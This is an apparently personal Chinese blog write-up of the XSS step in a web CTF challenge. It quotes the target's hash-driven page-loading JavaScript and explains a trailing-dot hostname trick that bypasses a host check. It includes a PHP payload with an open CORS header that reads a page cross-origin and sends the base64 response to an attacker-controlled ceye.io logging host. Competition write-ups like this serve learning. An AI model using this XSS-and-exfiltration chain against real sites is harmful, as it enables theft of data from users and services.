空指针第一次WEB公开赛(记录一下XSS)

感谢@王师傅的细心指导。

整体的流程如下图(将就着看):

首先解决第一个问题:因为同源策略Server不能执行Client域下的hint.php脚本。
这里可以通过在hint.php加入CORS头来完成跨域请求。header("Access-Control-Allow-Origin: *");

然后第二个问题,如何Server如何发出请求?
根据题目提示,F12看源码JS发现了以下代码:

#custom.js
/**
 *
 * You can write your JS code here, DO NOT touch the default style file
 * because it will make it harder for you to update.
 * 
 */

function isProd(){
    return window.location.host=='treasure.npointer.cn';
}

function loadPage() {
    if (!window.location.hash) {
        window.location.hash = '#home'
    }

    url = window.location.hash.substring(1)+'.html';
    //调试太麻烦了,日常测试放开限制
    if(isProd()) {
        url = window.location.origin + '/' + url;
    }
    $.get(url, function(result){
        $("#content").html(result);
    });

}

window.addEventListener('hashchange',function(event){
   loadPage();
});

loadPage();

我们需要控制url值,也就是说

    if(isProd()) {
        url = window.location.origin + '/' + url;
    }

我们不能进入上述的if语句中。

  1. 传入url=http://treasure.npointer.cn./index.html#http://47.244.179.133/hint.php#test
  2. 此时上述代码中window.location.hash取到第一个锚点后的值http://vps/hint.php#test
  3. 然后url拼接成http://vps/hint.php#test.html,此时根据锚点的意义,仍会执行hint.php

在第1步中,isProd()函数中window.location.host的值为treasure.npointer.cn.,多了个点.会影响等号判断,返回否。但是在解析的时候,并不会收到任何影响,所以前段JS仍会将请求发给Server,让它去完成一开始图中的步骤。

vps上的hint.php如下:

 <?php
 header("Access-Control-Allow-Origin: *");
 echo '<script type="text/javascript">
     var xhr = new XMLHttpRequest();
     xhr.onreadystatechange = function() {
     if(xhr.readyState === 4) {
     document.location="http://xxxx.ceye.io/?"+btoa(xhr.responseText);
     }
           }
       xhr.open("GET", "http://treasure.npointer.cn./hint.html",true);
       xhr.send()
       </script>
        ';

ceye接收到的结果如下(有延迟,我一直以为自己哪里写错了,贼坑):

CiAgICA8aDEgY2xhc3M9InNlY3Rpb24taGVhZGVyIj4KICAgICAgICA8ZGl2PkhpbnQ8L2Rpdj4KICAgIDwvaDE+CiAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uLWJvZHkiPgogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgPGg0PlNvdXJjZSBDb2RlczogaHR0cHM6Ly9hdHRhY2htZW50Lm5wb2ludGVyLmNuLzEvdHJlYXN1cmUtMmIyNGU4MjFmNGQ4NTUzMDYwZWJhNTFmOTliMmQxMWIuemlwPC9oND4KICAgICAgICAgICAgICAgIDxoND5KYXZhOiAxLjguMF8yMzI8L2g0PgogICAgICAgICAgICAgICAgPGg0PkZsYWc6IC9mbGFnL2ZsYWcxMDI0PC9oND4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+Cgo=

接下来是Java的内容了,因为不是很懂,所有等以后有时间慢慢调试吧

未完待续

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容